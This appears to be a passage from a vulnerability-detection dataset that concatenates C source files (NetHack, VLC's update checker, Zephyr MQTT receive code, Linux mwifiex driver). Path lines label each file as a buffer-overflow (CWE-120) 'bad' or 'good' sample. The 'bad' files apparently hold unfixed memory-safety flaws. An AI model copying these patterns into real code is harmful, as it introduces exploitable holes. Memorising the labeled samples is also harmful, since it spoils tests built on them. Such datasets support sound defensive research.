UNUSED; menu_item **item; { *item = (menu_item *) 0; return 0; } void dump_redirect(onoff_flag) boolean onoff_flag; { if (dumplog_file) { if (onoff_flag) { windowprocs.win_create_nhwindow = dump_create_nhwindow; windowprocs.win_clear_nhwindow = dump_clear_nhwindow; windowprocs.win_display_nhwindow = dump_display_nhwindow; windowprocs.win_destroy_nhwindow = dump_destroy_nhwindow; windowprocs.win_start_menu = dump_start_menu; windowprocs.win_add_menu = dump_add_menu; windowprocs.win_end_menu = dump_end_menu; windowprocs.win_select_menu = dump_select_menu; windowprocs.win_putstr = dump_putstr; } else { windowprocs = dumplog_windowprocs_backup; } iflags.in_dumplog = onoff_flag; } else { iflags.in_dumplog = FALSE; } } #ifdef TTY_GRAPHICS #ifdef TEXTCOLOR #ifdef TOS extern const char *hilites[CLR_MAX]; #else extern NEARDATA char *hilites[CLR_MAX]; #endif #endif #endif int has_color(color) int color; { return (iflags.use_color && windowprocs.name && (windowprocs.wincap & WC_COLOR) && windowprocs.has_color[color] #ifdef TTY_GRAPHICS #if defined(TEXTCOLOR) && defined(TERMLIB) && !defined(NO_TERMS) && (hilites[color] != 0) #endif #endif ); } /*windows.c*/
./CrossVul/dataset_final_sorted/CWE-120/c/bad_4523_2
crossvul-cpp_data_bad_2394_0
/***************************************************************************** * update.c: VLC update checking and downloading ***************************************************************************** * Copyright © 2005-2008 VLC authors and VideoLAN * $Id$ * * Authors: Antoine Cellerier <dionoea -at- videolan -dot- org> * Rémi Duraffort <ivoire at via.ecp.fr> Rafaël Carré <funman@videolanorg> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either release 2 of the License, or * (at your option) any later release. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA. *****************************************************************************/ /** * \file * This file contains functions related to VLC update management */ /***************************************************************************** * Preamble *****************************************************************************/ #ifdef HAVE_CONFIG_H # include "config.h" #endif #include <vlc_common.h> #include <vlc_update.h> #ifdef UPDATE_CHECK #include <assert.h> #include <vlc_pgpkey.h> #include <vlc_stream.h> #include <vlc_strings.h> #include <vlc_fs.h> #include <vlc_dialog.h> #include <vlc_interface.h> #include <gcrypt.h> #include <vlc_gcrypt.h> #ifdef _WIN32 #include <shellapi.h> #endif #include "update.h" #include "../libvlc.h" /***************************************************************************** * Misc defines *****************************************************************************/ /* * Here is the format of these "status files" : * First line is the last version: "X.Y.Z.E" where: * * X is the major number * * Y is the minor number * * Z is the revision number * * .E is an OPTIONAL extra number * * IE "1.2.0" or "1.1.10.1" * Second line is a url of the binary for this last version * Remaining text is a required description of the update */ #if defined( _WIN64 ) # define UPDATE_OS_SUFFIX "-win-x64" #elif defined( _WIN32 ) # define UPDATE_OS_SUFFIX "-win-x86" #else # define UPDATE_OS_SUFFIX "" #endif #ifndef NDEBUG # define UPDATE_VLC_STATUS_URL "http://update-test.videolan.org/vlc/status-win-x86" #else # define UPDATE_VLC_STATUS_URL "http://update.videolan.org/vlc/status" UPDATE_OS_SUFFIX #endif /***************************************************************************** * Update_t functions *****************************************************************************/ #undef update_New /** * Create a new update VLC struct * * \param p_this the calling vlc_object * \return pointer to new update_t or NULL */ update_t *update_New( vlc_object_t *p_this ) { update_t *p_update; assert( p_this ); p_update = (update_t *)malloc( sizeof( update_t ) ); if( !p_update ) return NULL; vlc_mutex_init( &p_update->lock ); p_update->p_libvlc = p_this->p_libvlc; p_update->release.psz_url = NULL; p_update->release.psz_desc = NULL; p_update->p_download = NULL; p_update->p_check = NULL; p_update->p_pkey = NULL; vlc_gcrypt_init(); return p_update; } /** * Delete an update_t struct * * \param p_update update_t* pointer * \return nothing */ void update_Delete( update_t *p_update ) { assert( p_update ); if( p_update->p_check ) { vlc_join( p_update->p_check->thread, NULL ); free( p_update->p_check ); } if( p_update->p_download ) { atomic_store( &p_update->p_download->aborted, true ); vlc_join( p_update->p_download->thread, NULL ); vlc_object_release( p_update->p_download ); } vlc_mutex_destroy( &p_update->lock ); free( p_update->release.psz_url ); free( p_update->release.psz_desc ); free( p_update->p_pkey ); free( p_update ); } /** * Empty the release struct * * \param p_update update_t* pointer * \return nothing */ static void EmptyRelease( update_t *p_update ) { p_update->release.i_major = 0; p_update->release.i_minor = 0; p_update->release.i_revision = 0; FREENULL( p_update->release.psz_url ); FREENULL( p_update->release.psz_desc ); } /** * Get the update file and parse it * p_update has to be locked when calling this function * * \param p_update pointer to update struct * \return true if the update is valid and authenticated */ static bool GetUpdateFile( update_t *p_update ) { stream_t *p_stream = NULL; char *psz_version_line = NULL; char *psz_update_data = NULL; p_stream = stream_UrlNew( p_update->p_libvlc, UPDATE_VLC_STATUS_URL ); if( !p_stream ) { msg_Err( p_update->p_libvlc, "Failed to open %s for reading", UPDATE_VLC_STATUS_URL ); goto error; } const int64_t i_read = stream_Size( p_stream ); psz_update_data = malloc( i_read + 1 ); /* terminating '\0' */ if( !psz_update_data ) goto error; if( stream_Read( p_stream, psz_update_data, i_read ) != i_read ) { msg_Err( p_update->p_libvlc, "Couldn't download update file %s", UPDATE_VLC_STATUS_URL ); goto error; } psz_update_data[i_read] = '\0'; stream_Delete( p_stream ); p_stream = NULL; /* first line : version number */ char *psz_update_data_parser = psz_update_data; size_t i_len = strcspn( psz_update_data, "\r\n" ); psz_update_data_parser += i_len; while( *psz_update_data_parser == '\r' || *psz_update_data_parser == '\n' ) psz_update_data_parser++; if( !(psz_version_line = malloc( i_len + 1)) ) goto error; strncpy( psz_version_line, psz_update_data, i_len ); psz_version_line[i_len] = '\0'; p_update->release.i_extra = 0; int ret = sscanf( psz_version_line, "%i.%i.%i.%i", &p_update->release.i_major, &p_update->release.i_minor, &p_update->release.i_revision, &p_update->release.i_extra); if( ret != 3 && ret != 4 ) { msg_Err( p_update->p_libvlc, "Update version false formated" ); goto error; } /* second line : URL */ i_len = strcspn( psz_update_data_parser, "\r\n" ); if( i_len == 0 ) { msg_Err( p_update->p_libvlc, "Update file %s is corrupted: URL missing", UPDATE_VLC_STATUS_URL ); goto error; } if( !(p_update->release.psz_url = malloc( i_len + 1)) ) goto error; strncpy( p_update->release.psz_url, psz_update_data_parser, i_len ); p_update->release.psz_url[i_len] = '\0'; psz_update_data_parser += i_len; while( *psz_update_data_parser == '\r' || *psz_update_data_parser == '\n' ) psz_update_data_parser++; /* Remaining data : description */ i_len = strlen( psz_update_data_parser ); if( i_len == 0 ) { msg_Err( p_update->p_libvlc, "Update file %s is corrupted: description missing", UPDATE_VLC_STATUS_URL ); goto error; } if( !(p_update->release.psz_desc = malloc( i_len + 1)) ) goto error; strncpy( p_update->release.psz_desc, psz_update_data_parser, i_len ); p_update->release.psz_desc[i_len] = '\0'; /* Now that we know the status is valid, we must download its signature * to authenticate it */ signature_packet_t sign; if( download_signature( VLC_OBJECT( p_update->p_libvlc ), &sign, UPDATE_VLC_STATUS_URL ) != VLC_SUCCESS ) { msg_Err( p_update->p_libvlc, "Couldn't download signature of status file" ); goto error; } if( sign.type != BINARY_SIGNATURE && sign.type != TEXT_SIGNATURE ) { msg_Err( p_update->p_libvlc, "Invalid signature type" ); goto error; } p_update->p_pkey = (public_key_t*)malloc( sizeof( public_key_t ) ); if( !p_update->p_pkey ) goto error; if( parse_public_key( videolan_public_key, sizeof( videolan_public_key ), p_update->p_pkey, NULL ) != VLC_SUCCESS ) { msg_Err( p_update->p_libvlc, "Couldn't parse embedded public key, something went really wrong..." ); FREENULL( p_update->p_pkey ); goto error; } memcpy( p_update->p_pkey->longid, videolan_public_key_longid, 8 ); if( memcmp( sign.issuer_longid, p_update->p_pkey->longid , 8 ) != 0 ) { msg_Dbg( p_update->p_libvlc, "Need to download the GPG key" ); public_key_t *p_new_pkey = download_key( VLC_OBJECT(p_update->p_libvlc), sign.issuer_longid, videolan_public_key_longid ); if( !p_new_pkey ) { msg_Err( p_update->p_libvlc, "Couldn't download GPG key" ); FREENULL( p_update->p_pkey ); goto error; } uint8_t *p_hash = hash_from_public_key( p_new_pkey ); if( !p_hash ) { msg_Err( p_update->p_libvlc, "Failed to hash signature" ); free( p_new_pkey ); FREENULL( p_update->p_pkey ); goto error; } if( verify_signature( &p_new_pkey->sig, &p_update->p_pkey->key, p_hash ) == VLC_SUCCESS ) { free( p_hash ); msg_Info( p_update->p_libvlc, "Key authenticated" ); free( p_update->p_pkey ); p_update->p_pkey = p_new_pkey; } else { free( p_hash ); msg_Err( p_update->p_libvlc, "Key signature invalid !" ); goto error; } } uint8_t *p_hash = hash_from_text( psz_update_data, &sign ); if( !p_hash ) { msg_Warn( p_update->p_libvlc, "Can't compute hash for status file" ); goto error; } else if( p_hash[0] != sign.hash_verification[0] || p_hash[1] != sign.hash_verification[1] ) { msg_Warn( p_update->p_libvlc, "Bad hash for status file" ); free( p_hash ); goto error; } else if( verify_signature( &sign, &p_update->p_pkey->key, p_hash ) != VLC_SUCCESS ) { msg_Err( p_update->p_libvlc, "BAD SIGNATURE for status file" ); free( p_hash ); goto error; } else { msg_Info( p_update->p_libvlc, "Status file authenticated" ); free( p_hash ); free( psz_version_line ); free( psz_update_data ); return true; } error: if( p_stream ) stream_Delete( p_stream ); free( psz_version_line ); free( psz_update_data ); return false; } static void* update_CheckReal( void * ); /** * Check for updates * * \param p_update pointer to update struct * \param pf_callback pointer to a function to call when the update_check is finished * \param p_data pointer to some datas to give to the callback * \returns nothing */ void update_Check( update_t *p_update, void (*pf_callback)( void*, bool ), void *p_data ) { assert( p_update ); // If the object already exist, destroy it if( p_update->p_check ) { vlc_join( p_update->p_check->thread, NULL ); free( p_update->p_check ); } update_check_thread_t *p_uct = calloc( 1, sizeof( *p_uct ) ); if( !p_uct ) return; p_uct->p_update = p_update; p_update->p_check = p_uct; p_uct->pf_callback = pf_callback; p_uct->p_data = p_data; vlc_clone( &p_uct->thread, update_CheckReal, p_uct, VLC_THREAD_PRIORITY_LOW ); } void* update_CheckReal( void *obj ) { update_check_thread_t *p_uct = (update_check_thread_t *)obj; bool b_ret; int canc; canc = vlc_savecancel (); vlc_mutex_lock( &p_uct->p_update->lock ); EmptyRelease( p_uct->p_update ); b_ret = GetUpdateFile( p_uct->p_update ); vlc_mutex_unlock( &p_uct->p_update->lock ); if( p_uct->pf_callback ) (p_uct->pf_callback)( p_uct->p_data, b_ret ); vlc_restorecancel (canc); return NULL; } bool update_NeedUpgrade( update_t *p_update ) { assert( p_update ); static const int current[4] = { PACKAGE_VERSION_MAJOR, PACKAGE_VERSION_MINOR, PACKAGE_VERSION_REVISION, PACKAGE_VERSION_EXTRA }; const int latest[4] = { p_update->release.i_major, p_update->release.i_minor, p_update->release.i_revision, p_update->release.i_extra }; for (unsigned i = 0; i < sizeof latest / sizeof *latest; i++) { /* there is a new version available */ if (latest[i] > current[i]) return true; /* current version is more recent than the latest version ?! */ if (latest[i] < current[i]) return false; } /* current version is not a release, it's a -git or -rc version */ if (*PACKAGE_VERSION_DEV) return true; /* current version is latest version */ return false; } /** * Convert a long int size in bytes to a string * * \param l_size the size in bytes * \return the size as a string */ static char *size_str( long int l_size ) { char *psz_tmp = NULL; int i_retval = 0; if( l_size >> 30 ) i_retval = asprintf( &psz_tmp, _("%.1f GiB"), (float)l_size/(1<<30) ); else if( l_size >> 20 ) i_retval = asprintf( &psz_tmp, _("%.1f MiB"), (float)l_size/(1<<20) ); else if( l_size >> 10 ) i_retval = asprintf( &psz_tmp, _("%.1f KiB"), (float)l_size/(1<<10) ); else i_retval = asprintf( &psz_tmp, _("%ld B"), l_size ); return i_retval == -1 ? NULL : psz_tmp; } static void* update_DownloadReal( void * ); /** * Download the file given in the update_t * * \param p_update structure * \param dir to store the download file * \return nothing */ void update_Download( update_t *p_update, const char *psz_destdir ) { assert( p_update ); // If the object already exist, destroy it if( p_update->p_download ) { atomic_store( &p_update->p_download->aborted, true ); vlc_join( p_update->p_download->thread, NULL ); vlc_object_release( p_update->p_download ); } update_download_thread_t *p_udt = vlc_custom_create( p_update->p_libvlc, sizeof( *p_udt ), "update download" ); if( !p_udt ) return; p_udt->p_update = p_update; p_update->p_download = p_udt; p_udt->psz_destdir = psz_destdir ? strdup( psz_destdir ) : NULL; atomic_store(&p_udt->aborted, false); vlc_clone( &p_udt->thread, update_DownloadReal, p_udt, VLC_THREAD_PRIORITY_LOW ); } static void* update_DownloadReal( void *obj ) { update_download_thread_t *p_udt = (update_download_thread_t *)obj; dialog_progress_bar_t *p_progress = NULL; long int l_size; long int l_downloaded = 0; float f_progress; char *psz_status; char *psz_downloaded = NULL; char *psz_size = NULL; char *psz_destfile = NULL; char *psz_tmpdestfile = NULL; FILE *p_file = NULL; stream_t *p_stream = NULL; void* p_buffer = NULL; int i_read; int canc; update_t *p_update = p_udt->p_update; char *psz_destdir = p_udt->psz_destdir; msg_Dbg( p_udt, "Opening Stream '%s'", p_update->release.psz_url ); canc = vlc_savecancel (); /* Open the stream */ p_stream = stream_UrlNew( p_udt, p_update->release.psz_url ); if( !p_stream ) { msg_Err( p_udt, "Failed to open %s for reading", p_update->release.psz_url ); goto end; } /* Get the stream size */ l_size = stream_Size( p_stream ); /* Get the file name and open it*/ psz_tmpdestfile = strrchr( p_update->release.psz_url, '/' ); if( !psz_tmpdestfile ) { msg_Err( p_udt, "The URL %s is badly formated", p_update->release.psz_url ); goto end; } psz_tmpdestfile++; if( asprintf( &psz_destfile, "%s%s", psz_destdir, psz_tmpdestfile ) == -1 ) goto end; p_file = vlc_fopen( psz_destfile, "w" ); if( !p_file ) { msg_Err( p_udt, "Failed to open %s for writing", psz_destfile ); dialog_FatalWait( p_udt, _("Saving file failed"), _("Failed to open \"%s\" for writing"), psz_destfile ); goto end; } /* Create a buffer and fill it with the downloaded file */ p_buffer = (void *)malloc( 1 << 10 ); if( unlikely(p_buffer == NULL) ) goto end; msg_Dbg( p_udt, "Downloading Stream '%s'", p_update->release.psz_url ); psz_size = size_str( l_size ); if( asprintf( &psz_status, _("%s\nDownloading... %s/%s %.1f%% done"), p_update->release.psz_url, "0.0", psz_size, 0.0 ) == -1 ) goto end; p_progress = dialog_ProgressCreate( p_udt, _( "Downloading ..."), psz_status, _("Cancel") ); free( psz_status ); if( p_progress == NULL ) goto end; while( !atomic_load( &p_udt->aborted ) && ( i_read = stream_Read( p_stream, p_buffer, 1 << 10 ) ) && !dialog_ProgressCancelled( p_progress ) ) { if( fwrite( p_buffer, i_read, 1, p_file ) < 1 ) { msg_Err( p_udt, "Failed to write into %s", psz_destfile ); break; } l_downloaded += i_read; psz_downloaded = size_str( l_downloaded ); f_progress = (float)l_downloaded/(float)l_size; if( asprintf( &psz_status, _( "%s\nDownloading... %s/%s - %.1f%% done" ), p_update->release.psz_url, psz_downloaded, psz_size, f_progress*100 ) != -1 ) { dialog_ProgressSet( p_progress, psz_status, f_progress ); free( psz_status ); } free( psz_downloaded ); } /* Finish the progress bar or delete the file if the user had canceled */ fclose( p_file ); p_file = NULL; if( !atomic_load( &p_udt->aborted ) && !dialog_ProgressCancelled( p_progress ) ) { dialog_ProgressDestroy( p_progress ); p_progress = NULL; } else { vlc_unlink( psz_destfile ); goto end; } signature_packet_t sign; if( download_signature( VLC_OBJECT( p_udt ), &sign, p_update->release.psz_url ) != VLC_SUCCESS ) { vlc_unlink( psz_destfile ); dialog_FatalWait( p_udt, _("File could not be verified"), _("It was not possible to download a cryptographic signature for " "the downloaded file \"%s\". Thus, it was deleted."), psz_destfile ); msg_Err( p_udt, "Couldn't download signature of downloaded file" ); goto end; } if( memcmp( sign.issuer_longid, p_update->p_pkey->longid, 8 ) ) { vlc_unlink( psz_destfile ); msg_Err( p_udt, "Invalid signature issuer" ); dialog_FatalWait( p_udt, _("Invalid signature"), _("The cryptographic signature for the downloaded file \"%s\" was " "invalid and could not be used to securely verify it. Thus, the " "file was deleted."), psz_destfile ); goto end; } if( sign.type != BINARY_SIGNATURE ) { vlc_unlink( psz_destfile ); msg_Err( p_udt, "Invalid signature type" ); dialog_FatalWait( p_udt, _("Invalid signature"), _("The cryptographic signature for the downloaded file \"%s\" was " "invalid and could not be used to securely verify it. Thus, the " "file was deleted."), psz_destfile ); goto end; } uint8_t *p_hash = hash_from_file( psz_destfile, &sign ); if( !p_hash ) { msg_Err( p_udt, "Unable to hash %s", psz_destfile ); vlc_unlink( psz_destfile ); dialog_FatalWait( p_udt, _("File not verifiable"), _("It was not possible to securely verify the downloaded file" " \"%s\". Thus, it was deleted."), psz_destfile ); goto end; } if( p_hash[0] != sign.hash_verification[0] || p_hash[1] != sign.hash_verification[1] ) { vlc_unlink( psz_destfile ); dialog_FatalWait( p_udt, _("File corrupted"), _("Downloaded file \"%s\" was corrupted. Thus, it was deleted."), psz_destfile ); msg_Err( p_udt, "Bad hash for %s", psz_destfile ); free( p_hash ); goto end; } if( verify_signature( &sign, &p_update->p_pkey->key, p_hash ) != VLC_SUCCESS ) { vlc_unlink( psz_destfile ); dialog_FatalWait( p_udt, _("File corrupted"), _("Downloaded file \"%s\" was corrupted. Thus, it was deleted."), psz_destfile ); msg_Err( p_udt, "BAD SIGNATURE for %s", psz_destfile ); free( p_hash ); goto end; } msg_Info( p_udt, "%s authenticated", psz_destfile ); free( p_hash ); #ifdef _WIN32 int answer = dialog_Question( p_udt, _("Update VLC media player"), _("The new version was successfully downloaded. Do you want to close VLC and install it now?"), _("Install"), _("Cancel"), NULL); if(answer == 1) { wchar_t psz_wdestfile[MAX_PATH]; MultiByteToWideChar( CP_UTF8, 0, psz_destfile, -1, psz_wdestfile, MAX_PATH ); answer = (int)ShellExecuteW( NULL, L"open", psz_wdestfile, NULL, NULL, SW_SHOW); if(answer > 32) libvlc_Quit(p_udt->p_libvlc); } #endif end: if( p_progress ) dialog_ProgressDestroy( p_progress ); if( p_stream ) stream_Delete( p_stream ); if( p_file ) fclose( p_file ); free( psz_destdir ); free( psz_destfile ); free( p_buffer ); free( psz_size ); vlc_restorecancel( canc ); return NULL; } update_release_t *update_GetRelease( update_t *p_update ) { return &p_update->release; } #else #undef update_New update_t *update_New( vlc_object_t *p_this ) { (void)p_this; return NULL; } void update_Delete( update_t *p_update ) { (void)p_update; } void update_Check( update_t *p_update, void (*pf_callback)( void*, bool ), void *p_data ) { (void)p_update; (void)pf_callback; (void)p_data; } bool update_NeedUpgrade( update_t *p_update ) { (void)p_update; return false; } void update_Download( update_t *p_update, const char *psz_destdir ) { (void)p_update; (void)psz_destdir; } update_release_t *update_GetRelease( update_t *p_update ) { (void)p_update; return NULL; } #endif
./CrossVul/dataset_final_sorted/CWE-120/c/bad_2394_0
crossvul-cpp_data_good_3861_0
/* * Copyright (c) 2018 Nordic Semiconductor ASA * * SPDX-License-Identifier: Apache-2.0 */ #include <logging/log.h> LOG_MODULE_REGISTER(net_mqtt_rx, CONFIG_MQTT_LOG_LEVEL); #include "mqtt_internal.h" #include "mqtt_transport.h" #include "mqtt_os.h" /** @file mqtt_rx.c * * @brief MQTT Received data handling. */ static int mqtt_handle_packet(struct mqtt_client *client, u8_t type_and_flags, u32_t var_length, struct buf_ctx *buf) { int err_code = 0; bool notify_event = true; struct mqtt_evt evt; /* Success by default, overwritten in special cases. */ evt.result = 0; switch (type_and_flags & 0xF0) { case MQTT_PKT_TYPE_CONNACK: MQTT_TRC("[CID %p]: Received MQTT_PKT_TYPE_CONNACK!", client); evt.type = MQTT_EVT_CONNACK; err_code = connect_ack_decode(client, buf, &evt.param.connack); if (err_code == 0) { MQTT_TRC("[CID %p]: return_code: %d", client, evt.param.connack.return_code); if (evt.param.connack.return_code == MQTT_CONNECTION_ACCEPTED) { /* Set state. */ MQTT_SET_STATE(client, MQTT_STATE_CONNECTED); } evt.result = evt.param.connack.return_code; } else { evt.result = err_code; } break; case MQTT_PKT_TYPE_PUBLISH: MQTT_TRC("[CID %p]: Received MQTT_PKT_TYPE_PUBLISH", client); evt.type = MQTT_EVT_PUBLISH; err_code = publish_decode(type_and_flags, var_length, buf, &evt.param.publish); evt.result = err_code; client->internal.remaining_payload = evt.param.publish.message.payload.len; MQTT_TRC("PUB QoS:%02x, message len %08x, topic len %08x", evt.param.publish.message.topic.qos, evt.param.publish.message.payload.len, evt.param.publish.message.topic.topic.size); break; case MQTT_PKT_TYPE_PUBACK: MQTT_TRC("[CID %p]: Received MQTT_PKT_TYPE_PUBACK!", client); evt.type = MQTT_EVT_PUBACK; err_code = publish_ack_decode(buf, &evt.param.puback); evt.result = err_code; break; case MQTT_PKT_TYPE_PUBREC: MQTT_TRC("[CID %p]: Received MQTT_PKT_TYPE_PUBREC!", client); evt.type = MQTT_EVT_PUBREC; err_code = publish_receive_decode(buf, &evt.param.pubrec); evt.result = err_code; break; case MQTT_PKT_TYPE_PUBREL: MQTT_TRC("[CID %p]: Received MQTT_PKT_TYPE_PUBREL!", client); evt.type = MQTT_EVT_PUBREL; err_code = publish_release_decode(buf, &evt.param.pubrel); evt.result = err_code; break; case MQTT_PKT_TYPE_PUBCOMP: MQTT_TRC("[CID %p]: Received MQTT_PKT_TYPE_PUBCOMP!", client); evt.type = MQTT_EVT_PUBCOMP; err_code = publish_complete_decode(buf, &evt.param.pubcomp); evt.result = err_code; break; case MQTT_PKT_TYPE_SUBACK: MQTT_TRC("[CID %p]: Received MQTT_PKT_TYPE_SUBACK!", client); evt.type = MQTT_EVT_SUBACK; err_code = subscribe_ack_decode(buf, &evt.param.suback); evt.result = err_code; break; case MQTT_PKT_TYPE_UNSUBACK: MQTT_TRC("[CID %p]: Received MQTT_PKT_TYPE_UNSUBACK!", client); evt.type = MQTT_EVT_UNSUBACK; err_code = unsubscribe_ack_decode(buf, &evt.param.unsuback); evt.result = err_code; break; case MQTT_PKT_TYPE_PINGRSP: MQTT_TRC("[CID %p]: Received MQTT_PKT_TYPE_PINGRSP!", client); if (client->unacked_ping <= 0) { MQTT_TRC("Unexpected PINGRSP"); client->unacked_ping = 0; } else { client->unacked_ping--; } evt.type = MQTT_EVT_PINGRESP; break; default: /* Nothing to notify. */ notify_event = false; break; } if (notify_event == true) { event_notify(client, &evt); } return err_code; } static int mqtt_read_message_chunk(struct mqtt_client *client, struct buf_ctx *buf, u32_t length) { u32_t remaining; int len; /* In case all data requested has already been buffered, return. */ if (length <= (buf->end - buf->cur)) { return 0; } /* Calculate how much data we need to read from the transport, * given the already buffered data. */ remaining = length - (buf->end - buf->cur); /* Check if read does not exceed the buffer. */ if ((buf->end + remaining > client->rx_buf + client->rx_buf_size) || (buf->end + remaining < client->rx_buf)) { MQTT_ERR("[CID %p]: Read would exceed RX buffer bounds.", client); return -ENOMEM; } len = mqtt_transport_read(client, buf->end, remaining, false); if (len < 0) { MQTT_TRC("[CID %p]: Transport read error: %d", client, len); return len; } if (len == 0) { MQTT_TRC("[CID %p]: Connection closed.", client); return -ENOTCONN; } client->internal.rx_buf_datalen += len; buf->end += len; if (len < remaining) { MQTT_TRC("[CID %p]: Message partially received.", client); return -EAGAIN; } return 0; } static int mqtt_read_publish_var_header(struct mqtt_client *client, u8_t type_and_flags, struct buf_ctx *buf) { u8_t qos = (type_and_flags & MQTT_HEADER_QOS_MASK) >> 1; int err_code; u32_t variable_header_length; /* Read topic length field. */ err_code = mqtt_read_message_chunk(client, buf, sizeof(u16_t)); if (err_code < 0) { return err_code; } variable_header_length = *buf->cur << 8; /* MSB */ variable_header_length |= *(buf->cur + 1); /* LSB */ /* Add two bytes for topic length field. */ variable_header_length += sizeof(u16_t); /* Add two bytes for message_id, if needed. */ if (qos > MQTT_QOS_0_AT_MOST_ONCE) { variable_header_length += sizeof(u16_t); } /* Now we can read the whole header. */ err_code = mqtt_read_message_chunk(client, buf, variable_header_length); if (err_code < 0) { return err_code; } return 0; } static int mqtt_read_and_parse_fixed_header(struct mqtt_client *client, u8_t *type_and_flags, u32_t *var_length, struct buf_ctx *buf) { /* Read the mandatory part of the fixed header in first iteration. */ u8_t chunk_size = MQTT_FIXED_HEADER_MIN_SIZE; int err_code; do { err_code = mqtt_read_message_chunk(client, buf, chunk_size); if (err_code < 0) { return err_code; } /* Reset to pointer to the beginning of the frame. */ buf->cur = client->rx_buf; chunk_size = 1U; err_code = fixed_header_decode(buf, type_and_flags, var_length); } while (err_code == -EAGAIN); return err_code; } int mqtt_handle_rx(struct mqtt_client *client) { int err_code; u8_t type_and_flags; u32_t var_length; struct buf_ctx buf; buf.cur = client->rx_buf; buf.end = client->rx_buf + client->internal.rx_buf_datalen; err_code = mqtt_read_and_parse_fixed_header(client, &type_and_flags, &var_length, &buf); if (err_code < 0) { return (err_code == -EAGAIN) ? 0 : err_code; } if ((type_and_flags & 0xF0) == MQTT_PKT_TYPE_PUBLISH) { err_code = mqtt_read_publish_var_header(client, type_and_flags, &buf); } else { err_code = mqtt_read_message_chunk(client, &buf, var_length); } if (err_code < 0) { return (err_code == -EAGAIN) ? 0 : err_code; } /* At this point, packet is ready to be passed to the application. */ err_code = mqtt_handle_packet(client, type_and_flags, var_length, &buf); if (err_code < 0) { return err_code; } client->internal.rx_buf_datalen = 0U; return 0; }
./CrossVul/dataset_final_sorted/CWE-120/c/good_3861_0
crossvul-cpp_data_bad_4489_0
/* * NXP Wireless LAN device driver: association and ad-hoc start/join * * Copyright 2011-2020 NXP * * This software file (the "File") is distributed by NXP * under the terms of the GNU General Public License Version 2, June 1991 * (the "License"). You may use, redistribute and/or modify this File in * accordance with the terms and conditions of the License, a copy of which * is available by writing to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA or on the * worldwide web at http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt. * * THE FILE IS DISTRIBUTED AS-IS, WITHOUT WARRANTY OF ANY KIND, AND THE * IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE * ARE EXPRESSLY DISCLAIMED. The License provides additional details about * this warranty disclaimer. */ #include "decl.h" #include "ioctl.h" #include "util.h" #include "fw.h" #include "main.h" #include "wmm.h" #include "11n.h" #include "11ac.h" #define CAPINFO_MASK (~(BIT(15) | BIT(14) | BIT(12) | BIT(11) | BIT(9))) /* * Append a generic IE as a pass through TLV to a TLV buffer. * * This function is called from the network join command preparation routine. * * If the IE buffer has been setup by the application, this routine appends * the buffer as a pass through TLV type to the request. */ static int mwifiex_cmd_append_generic_ie(struct mwifiex_private *priv, u8 **buffer) { int ret_len = 0; struct mwifiex_ie_types_header ie_header; /* Null Checks */ if (!buffer) return 0; if (!(*buffer)) return 0; /* * If there is a generic ie buffer setup, append it to the return * parameter buffer pointer. */ if (priv->gen_ie_buf_len) { mwifiex_dbg(priv->adapter, INFO, "info: %s: append generic ie len %d to %p\n", __func__, priv->gen_ie_buf_len, *buffer); /* Wrap the generic IE buffer with a pass through TLV type */ ie_header.type = cpu_to_le16(TLV_TYPE_PASSTHROUGH); ie_header.len = cpu_to_le16(priv->gen_ie_buf_len); memcpy(*buffer, &ie_header, sizeof(ie_header)); /* Increment the return size and the return buffer pointer param */ *buffer += sizeof(ie_header); ret_len += sizeof(ie_header); /* Copy the generic IE buffer to the output buffer, advance pointer */ memcpy(*buffer, priv->gen_ie_buf, priv->gen_ie_buf_len); /* Increment the return size and the return buffer pointer param */ *buffer += priv->gen_ie_buf_len; ret_len += priv->gen_ie_buf_len; /* Reset the generic IE buffer */ priv->gen_ie_buf_len = 0; } /* return the length appended to the buffer */ return ret_len; } /* * Append TSF tracking info from the scan table for the target AP. * * This function is called from the network join command preparation routine. * * The TSF table TSF sent to the firmware contains two TSF values: * - The TSF of the target AP from its previous beacon/probe response * - The TSF timestamp of our local MAC at the time we observed the * beacon/probe response. * * The firmware uses the timestamp values to set an initial TSF value * in the MAC for the new association after a reassociation attempt. */ static int mwifiex_cmd_append_tsf_tlv(struct mwifiex_private *priv, u8 **buffer, struct mwifiex_bssdescriptor *bss_desc) { struct mwifiex_ie_types_tsf_timestamp tsf_tlv; __le64 tsf_val; /* Null Checks */ if (buffer == NULL) return 0; if (*buffer == NULL) return 0; memset(&tsf_tlv, 0x00, sizeof(struct mwifiex_ie_types_tsf_timestamp)); tsf_tlv.header.type = cpu_to_le16(TLV_TYPE_TSFTIMESTAMP); tsf_tlv.header.len = cpu_to_le16(2 * sizeof(tsf_val)); memcpy(*buffer, &tsf_tlv, sizeof(tsf_tlv.header)); *buffer += sizeof(tsf_tlv.header); /* TSF at the time when beacon/probe_response was received */ tsf_val = cpu_to_le64(bss_desc->fw_tsf); memcpy(*buffer, &tsf_val, sizeof(tsf_val)); *buffer += sizeof(tsf_val); tsf_val = cpu_to_le64(bss_desc->timestamp); mwifiex_dbg(priv->adapter, INFO, "info: %s: TSF offset calc: %016llx - %016llx\n", __func__, bss_desc->timestamp, bss_desc->fw_tsf); memcpy(*buffer, &tsf_val, sizeof(tsf_val)); *buffer += sizeof(tsf_val); return sizeof(tsf_tlv.header) + (2 * sizeof(tsf_val)); } /* * This function finds out the common rates between rate1 and rate2. * * It will fill common rates in rate1 as output if found. * * NOTE: Setting the MSB of the basic rates needs to be taken * care of, either before or after calling this function. */ static int mwifiex_get_common_rates(struct mwifiex_private *priv, u8 *rate1, u32 rate1_size, u8 *rate2, u32 rate2_size) { int ret; u8 *ptr = rate1, *tmp; u32 i, j; tmp = kmemdup(rate1, rate1_size, GFP_KERNEL); if (!tmp) { mwifiex_dbg(priv->adapter, ERROR, "failed to alloc tmp buf\n"); return -ENOMEM; } memset(rate1, 0, rate1_size); for (i = 0; i < rate2_size && rate2[i]; i++) { for (j = 0; j < rate1_size && tmp[j]; j++) { 